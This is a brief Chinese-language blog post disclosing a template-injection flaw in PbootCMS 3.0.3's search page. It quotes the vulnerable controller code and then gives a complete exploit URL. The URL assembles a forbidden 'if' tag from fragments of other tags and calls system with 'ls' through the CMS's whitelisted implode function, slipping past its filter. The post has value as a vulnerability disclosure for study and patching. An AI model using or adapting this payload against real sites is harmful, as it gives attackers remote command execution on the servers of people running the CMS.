挖出来好久了 但是跟字节ctf的线下撞了洞所以一直没往外发
也没啥好分析的 其实就是一个前台模板注入
public function index()
{
$searchtpl = request('searchtpl');
if (! preg_match('/^[\w]+\.html$/', $searchtpl)) {
$searchtpl = 'search.html';
}
$content = parent::parser($this->htmldir . $searchtpl); // 框架标签解析
$content = $this->parser->parserBefore($content); // CMS公共标签前置解析
$pagetitle = get('keyword') ? get('keyword') . '-' : '';
$content = str_replace('{pboot:pagetitle}', $this->config('search_title') ?: $pagetitle . '搜索结果-{pboot:sitetitle}-{pboot:sitesubtitle}', $content);
$content = $this->parser->parserPositionLabel($content, 0, '搜索', Url::home('search')); // CMS当前位置标签解析
$content = $this->parser->parserSpecialPageSortLabel($content, - 1, '搜索结果', Url::home('search')); // 解析分类标签
$content = $this->parser->parserSearchLabel($content); // 搜索结果标签
$content = $this->parser->parserAfter($content); // CMS公共标签后置解析
echo $content; // 搜索页面不缓存
exit();
}
可以看到很明显的把content跟get参数的keyword拼一起了 绕过他的waf就行了 开发者自作聪明地以为把if标签替换掉就没事了 其实很好绕过
http://127.0.0.1/pbootcms3.0.3/?keyword={pboot:content%20id=1}{pboot:i{/pboot:content}{ pboot:content%20id=1}f((implode(1,[sys.tem]))(implode(1,[ls])))}PH{/pboot:content}{pboo t:content%20id=1}123{/pboot:{/pboot:content}{pboot:content%20id=1}if}{/pboot:conte nt}
用别的标签拼成if标签 然后用cms自带的白名单函数绕过waf就行了
0 条评论